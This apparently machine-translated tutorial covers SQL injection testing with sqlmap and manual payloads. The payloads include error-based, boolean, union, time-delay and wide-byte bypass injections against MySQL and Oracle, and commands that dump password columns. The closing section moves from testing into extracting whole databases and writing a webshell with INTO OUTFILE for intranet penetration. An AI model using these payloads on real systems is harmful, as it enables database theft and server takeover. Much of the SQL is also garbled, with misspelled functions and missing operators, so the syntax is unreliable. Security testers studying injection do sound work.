
Test using automated scanning tools
tool:AppScan,WebInspect,AWVS, etc.
test method: Scan with the help of automated tools and obtain suspected SWL injection points. After obtaining suspected injection points, they are placed into proprietary injection tools such as SQLMAP and Pangolin for confirmation and penetration.
Scan using burpsuite's SQLMAP plug-in:
SQLMAPPER mainly performs automated injection testing on URLs crawled by Burpsuite. After the startup test, it will record Burpsuite to all URL requests and send them to SQLMAP one by one for SQL injection testing. When a vulnerability is discovered, the request and specific vulnerability information will be saved in a txt file and displayed in burpsuite's scan results. Users can analyze the vulnerability by viewing the TXT file or directly viewing Burpsuite's scan results.
Currently, the database types supported by sqlmap are mysql,oracle,postgresql,sql server,access,sqlite,firebird,sybase,sap maxdb,db2.
test step:
1. Install jdk or above.
2. Install Ruby version 2.7.1.
3. Load the plug-in sqlmap.
4. Configure sqlmap
5. Select the starting url
6. Specify database type
7. Perform sqlmap test
8. Check the scan results and confirm all sql injection risk points.
The target database type needs to be specified during testing. Failure to specify will cause all types to be tried and efficiency will be affected. If you do not select a target type, there may be problems with different scan results.
Please make sure that the session is valid during testing. If the session expires, no vulnerability will be identified.
further penetrate。
Suspected injection points obtained through scanning through automated tools require confirmation and certification.
The following lists basic usages, taking sqlmap as an example.
Check the injection point: sqlmap -u url injection address
List database information sqlmap -u url injection address dbs
Specify the library name to list all tables sqlmap -u url injection address-D databaseName tables
Specifying the library name indicates that all fields are listed sqlmap -u url injection address-D databaseName -T tableName columns
Specify library name table name field dump specified field sqlmap -u url injection address-D databaseName -T tableName -C id,password dump
manual testing
Automation tools can help us reduce a lot of workload, but sometimes automation tools may not be able to identify injection points or conduct penetration. At this time, some manual testing skills are needed. The page scenarios that need to be paid attention to for manual testing mainly include: url parameters, query boxes, search boxes, sorting, deleting, etc.
I. Detection for injection
Test from previous pages
1. Testing based on error message pages
You can add single quotes or double quotes to the parameter value of the url. In this case, the sql statement does not conform to the syntax and an error occurs on the page. At this time, you can basically determine that the url can be injected.
2. Testing based on database error reporting function
The mysql database generally has the following functions to achieve database error reporting.
1.floor
2.ExtractValue
3.UpdateXml
floor function:
The essence of exploding data through floor error reporting is the error reporting by groopby statement. The reason why the group by statement reports an error is the uncertainty of floor(random(0)*2), which may be 0 or 1.
The principle of group by key is to cyclically read each row of data and save the results in a temporary table. When reading the key for each row, if the key exists in the temporary table. Then the data in the temporary table is not updated in the temporary table. If the key does not exist in the temporary table, the data in the row where the key is located is inserted into the temporary table. The reason for the error in group by floor(random(0)*2) is that the key is a random number. When detecting whether the key exists in the temporary table, it is calculated that floor(random(0)*2) may be 0. If there are only rows with key 1 in the temporary table and no rows with key 0 in the temporary table, then the database will insert this record into the temporary table. Since it is a random number, a random value will be calculated during insertion. At this time, the result of floor(random(0)*2) may be 1, which will cause a conflict and error during insertion. That is, the value of the random number is calculated twice during detection and insertion.
Try to crack the database with the following command:
and select 1 from (select count(*),concat(version(),floor(random(0)*2)x from information_scheme.tables group by x)a)
The database execution results are as follows:
ROOR 1062(23000) Duplicate entey 'admin8881' for key 'group_key'
ExtractValue function:
Use the following command to attempt to crack the database:
and extractvalue(1,concat(0x5c,(select tableName from information_scheme.tables limit 1)))
The database execution results are as follows:
ERROR 1105(HY000):XPATH syntax error:'admin888'
UpdateXml function
Use the following command to attempt to crack the database:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
The database execution results are as follows:
ERROR 1105(HY000):XPATH syntax error:':root@localhost'
In Oracle database, the functions that can implement sql error reporting are::
utl_inaddr.get_host_address
utl_inaddr.get_host_name
XMLType
ctxsys.drithsx.sn
Suppose the injected sql statement is:select * from dual where rownum=1, where the parameter rownum is the injected parameter, and the parameter value 1 is the external input. Suppose the url is: 10.10.10.10:8080/test/readtest.jsp? rownum=1
1)utl_inaddr.get_host_address:
utl_inaddr.get_host_address is meant to get the ip address, but if the passed parameter cannot be resolved, it will return an oracle error and display the passed parameter. We passed an sql statement so what we returned is the result of the statement execution. Oracle places some system variables into specific views after startup, and you can use these views to get what you want.
Generally put the statement you want to inject inside the parentheses of utl_inaddr.get_host_address(). Here we use the query version number as the injection statement to test:
select banner from v$version where rownum=1
Construct the injection command in the url:
http://10.10.10.10:8080/test/readtest.jsp? rownum=1||utl_inaddr.get_host_address((select banner from v$version where rownum=1))
The database statements that were successfully spliced are:
select * from dual where rownum=1||utl_inaddr.get_host_address((select banner from v$version where rownum=1))
Execution command result:
ORA-29257:host Oracle Database 11g Enterprise Edition Release 11.2.0.4.0-64bit production
It can be seen that although the result reported an error, the error message returned is the result that the injection command has been executed.
2)utl_inaddr.get_host_name is the same as above
3)XMLType:
select * from dual where rownum=1 and (1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),
chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)
The implementation results are as follows
ORA-31011 XML parsing failed ORA-19202 ERROR occurred in XML processing LPX-00110 Warning invalid QName Oracle9i Enterprise Edition Release9.2.0.4.0
4)ctxsys.drithsx.sn:
The error injection of ctxsys.drithsx.sn() is mostly used in oracle 11g databases.
Put the statement you want to inject into the second parameter inside the parentheses of ctxsys.drithsx.sn(). Here we test the injection statement with the query version number: select banner from v$version where rownum=1
Construct the injection command in the url:
http://10.10.10.10:8080/test/readtest.jsp? rownum=1 and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))
The database statements successfully spliced are:
select * from dual where rownum=1 and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))
Although the execution result returned an error, the error returned was the result that the injection command had been executed.
3. Boolean-based testing
Nowadays, most application systems have unified exception error pages, so most of them do not echo errors, but you can still use the and or or(sometimes case conversion) logical operator in the sql statement to determine whether the echo data has been injected.
For example, if the condition is entered or 1=1 (as a comment character), the page has data
There is no data on the page when entering or 1=2
Similarly, if or cannot be used, use and, and change case to determine whether there is injection.
4. Testing based on joint queries
Some application systems also disable the keywords and and or in addition to the agree error page, but do not disable the joint query keyword union. In this case, internal and external connections can be used to judge, such as:
http://10.10.10.10:8080/test/readtest.jsp? sex=man union select 1,2,3,4,5
At this time, an extra record will appear in the query result, and the columns will display 1, 2, 3, 4, and 5 respectively.
5. Testing based on time delay
Some application systems have no data echo, or the echo is not obvious. In this case, the injection point can be determined by some time-extending functions such as (mysql's benchmark function). If the time when the page is displayed in the browser just matches the time set by the attacker (such as 5 seconds, viewed through the state in the lower left corner), there is a risk of injection, such as:
http://10.10.10.10:8080/test/readtest.jsp? sex=man union select benchmark(100000000,md5('test')),2,3,4,5
The results are shown as above
6. Annotation-based testing
Sometimes the application system blocks the entry of spaces, and the injection point can be determined by using annotations.
Products commonly see attacks using comments, such as commenting out the injection command of judgment conditions on the login page (username and password): adding or1 =1 or or1 =1 when entering the username;–
Uncommon, such as adding a comment command after the parameters of a query page)/** /or/** /(1=1), etc.
7. multi-statement query testing
Multiple statements can be executed simultaneously. Imagine: If the program has enough permissions to run, ordinary users add drop table,drop database, etc. after the select statement
select query:
1. Try to guess the sql statement of the injection point on the query page (it is recommended to directly search the code, or consult with development) and close the original statement of the injection point, such as:
select * from t where (KeyChannelType in (something,concat(':','[1]')))
2. Construct a new statement, such as:
;if(1=db_name()) WAITFOR DELAY '0:0:5'
3. Comment the following statement
Update:
1)Try to guess the sql statement at the injection point on the update page (for example, the modify password page). It is recommended to search the code. The original statement to close the injection point, update users set password= 1111 where username= admin’
2)Construct a new statement, such as:
and (select * from (select(sleep(5)))WzfT) and 'ZUQE'=''
Insert:
1)On the insert page, for example, registered users try to guess the sql statement of the injection point, suggest the search code, and close the original statement of the injection point, such as:
insert into table values(1,2,...)
2)Construct a new statement, such as:
or select 1 from (select count(*),concat(floor(rand(0)*2),(select user())))x from information_schema.table group by x)a
8. Inline query injection testing
Injecting can be performed using inline
Characteristic values injected inline with digital values:
9. Bypass escape symbol injection testing
Some developers generally use\to reset key characters such as single quotes through character escape. Here we mainly explain how to circumvent this escape.
wide byte bypass summary
1. Key points: Escape character backslash\,ASCLL code 0x5C
2. In the double-byte character set, the high byte is added before the\, and 0x5C is treated as the low byte and combined into a Chinese character, causing the\symbol to be eaten, and subsequent characters to escape the limit, thus bypassing escape.
3. GB2312 code will not be eaten
4. Double-byte character encoding sets containing 0x5C in the range of low-byte characters such as GBK, GN18030, and BIG5 all have wide byte injection to bypass it.
5. UTF encoding method\will not be eaten
6. If the transcoding function is used improperly in the program, wide byte injection and bypass will also occur. This has nothing to do with page encoding.
Example:
There is a Sql injection scenario. After injecting a single quote, the url and sql are as follows:
url:http://example.com/index.php? username=alan'
sql:select * from tb where username='alan\''
The core issue is to eliminate the backslash and replace the injected characters with ,url and sql as follows:
url:http://example.com/index.php? username=alan'
Since \ --run, the final sql statement is:
sql:select * from tb where username='alan ''
The injected , together with the backslash automatically added by the system, forms a character in the unicode character set, thereby eliminating the backslash, allowing the injected single quotation mark to close the previous query statement.
II. further penetrate
1. dragging the library
If the application system does not fully configure the database permissions after discovering the injection point, then the entire database can be dragged locally through the injection statement. Take mysql as an example.
Note: Sometimes URL encoding is required.
First, use or to find the injection point, and use true or false to execute the sql statement
http://www.test.cn/test? 1=1&1or11--=1
Use the length function to guess the number of characters in the database user name (14 characters)
http://www.test.cn/test? 1=1&1or(length(user())14)--=1
Guess the character length of the database user name using the char_length function
http://www.test.cn/test? 1=1&1or(char_length(user())14)--=1
Use the left function to guess the character content of the database username (root@localhost)
http://www.test.cn/test? 1=1&1or(left(user(),1)'r')--=1
http://www.test.cn/test? 1=1&1or(left(user(),1)'ro')--=1
http://www.test.cn/test? 1=1&1or(left(user(),1)'roo')--=1
http://www.test.cn/test? 1=1&1or(left(user(),1)'root')--=1
Guess the database name using the left function (elb)
http://www.test.cn/test? 1=1&1or(left(database(),3)'elb')--=1
Guess the table names of all tables in the current database
http://www.test.cn/test? 1=1&1or(left((selecttable_namefrominformation_scheme.tablewheretable_schemedatabase()limit0,1),1a)--=1
2. Write to webshell
In addition to downloading all database data, you can also write a webshell to the server through sql statements (such as the into outfile statement). However, one thing should be noted that the absolute path of the application must be obtained. After obtaining the webshell, you can further control the server to conduct intranet penetration. Take mysql as an example.
http://example.com/index.php? username=alan'union select 1, 2, 3, 4,' one-sentence Trojan ' into outfile ' absolute path to web application '
Write it to Malaysia through Ma or connect Ma through a one-sentence Trojan client (such as Chinese Kitchen Knife) to get the system webshell
Comments0